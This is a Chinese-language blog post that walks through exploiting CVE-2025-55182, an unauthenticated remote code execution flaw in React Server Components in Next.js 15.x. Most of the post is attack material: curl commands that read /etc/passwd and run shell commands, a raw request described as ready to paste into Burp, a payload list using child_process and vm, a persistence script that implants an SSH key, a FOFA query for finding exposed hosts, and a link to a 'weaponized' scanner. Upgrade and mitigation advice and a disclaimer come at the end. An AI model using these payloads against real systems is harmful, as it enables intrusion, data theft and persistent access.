CVE-2025-55182

CVE-2025-55182

_

Next.js 15.0.0 ~ 15.0.4 中 React Server Components(RSC)存在严重原型链污染漏洞,可导致未认证远程代码执行(RCE)。本文提供完整复现流程、Payload 合集、批量验证脚本以及企业级防护建议。

漏洞概述

漏洞摘要

Next.js 15 系列(15.0.0 - 15.0.4)默认启用的 React Server Components 在处理 $ACTION_* 参数时未正确过滤原型链污染,导致攻击者可通过精心构造的 multipart/form-data 请求直接或间接调用 Node.js 危险内置模块(如 child_processvmfs),实现未认证远程代码执行。
2025 年 12 月 3 日,React 官方已发布修复版本 react-server-dom-webpack@19.2.0Next.js 15.0.5


漏洞环境

(说明:使用官方公开 PoC 环境,Node.js ≥ 18)

![[Pasted image 20251204145712.png]]


PoC(来源与使用)

官方 PoC 仓库(强烈推荐 star):

https://github.com/ejpir/CVE-2025-55182-poc/

本地一键搭建命令

git clone https://github.com/ejpir/CVE-2025-55182-poc.git
cd CVE-2025-55182-poc
npm install
node --conditions react-server --conditions webpack src/server.js

默认监听 http://localhost:3002
![[Pasted image 20251204145921.png]]


实验准备(完整复现步骤)

安全警告:以下所有操作仅限授权测试环境或虚拟机内进行,禁止用于任何未授权目标。

1. 环境启动(见上)

2. 本地验证(官方提供三种脚本)

# ① 通过 vm 模块执行任意代码
node exploit-rce-v4.js

# ② 测试全部 gadget(vm、child_process、fs)
node exploit-all-gadgets.js

# ③ 持久化植入 SSH 公钥(极度危险)
node exploit-persistence.js

![[Pasted image 20251204150558.png]]

3. 远程验证(curl 方式)

任意文件读取

curl -X POST http://target:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

![[屏幕截图 2025-12-04 150859.png]]

直接 RCE(whoami)

curl -X POST http://target:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

![[屏幕截图 2025-12-04 150931.png]]

完整数据包示例(Burp 复制粘贴即可用)

POST /formaction HTTP/1.1
Host: target:3002
Content-Type: multipart/form-data; boundary=------------------------f3c2dbe7617e6475

--------------------------f3c2dbe7617e6475
Content-Disposition: form-data; name="$ACTION_REF_0"

--------------------------f3c2dbe7617e6475
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"child_process#execSync", "bound": ["whoami"] }
--------------------------f3c2dbe7617e6475--

终极 Payload 合集(本工具已全部内置)

{"id":"child_process#execSync", "bound": ["whoami"] }
{"id":"fs#readFileSync", "bound": ["/etc/passwd","utf8"] }
{"id":"fs#writeFileSync", "bound": ["/tmp/pwned.txt","CVE-2025-55182"] }
{"id":"vm#runInThisContext", "bound": ["process.mainModule.require(\"child_process\").execSync(\"id\").toString()"]}
{"id":"vm#runInNewContext", "bound": ["this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}

FOFA 快速定位资产(推荐语法)

(body="react.production.min.js" || body="React.createElement(") && (app="React Router" || app="React.js")

武器化批量验证脚本(带响应时间 + 多 Payload 自动轮询)

https://github.com/heiheishushu/rsc_detect_CVE-2025-55182/blob/main/react_server_component_detect.py


漏洞影响范围总结

组件/框架 受影响版本 已修复版本 备注
react-server-dom-webpack < 19.2.0 ≥ 19.2.0 React Server Components 核心包(webpack)
react-server-dom-turbopack < 19.2.0 ≥ 19.2.0 React Server Components 核心包(turbopack)
Next.js 15.0.0 ∼ 15.0.4 ≥ 15.0.5 所有开启 App Router 的项目默认受影响

紧急防护建议(立即执行)

1. 立即升级(最有效手段)

# Next.js 项目
npm install next@latest          # 自动升级到最新稳定版(≥15.0.5)
# 或指定版本
npm install next@15.0.5

# 手动升级底层包
npm install react-server-dom-webpack@19.2.0 react-server-dom-turbopack@19.2.0

2. 临时缓解措施(升级前)

  • 在反向代理(Nginx/Traefik)层拦截包含 $ACTION_ 且包含 child_processvm__proto__ 等关键词的请求
  • 限制 Node.js 进程权限,使用非 root 用户运行
  • 通过 webpack externals 排除危险模块打包进服务器代码

3. 长期防御建议

  • 输入校验:严格过滤所有 $ACTION_ 相关参数
  • 最小权限原则运行 Node.js 服务
  • 开启 Node.js --disable-proto 相关实验性标志(需评估兼容性)

参考与扩展阅读


免责声明

本文档及相关脚本仅用于授权的安全测试、红队演练与学术研究
禁止对任何未经明确授权的系统进行扫描或利用。
一切违法行为与作者及工具发布者无关,使用者需自行承担全部法律责任。

安全研究,贵在责任。
请在法律与道德框架内使用技术,共同维护网络空间安全。

cloud1 2026-01-09
浅谈电子邮件伪造 2026-01-09

评论区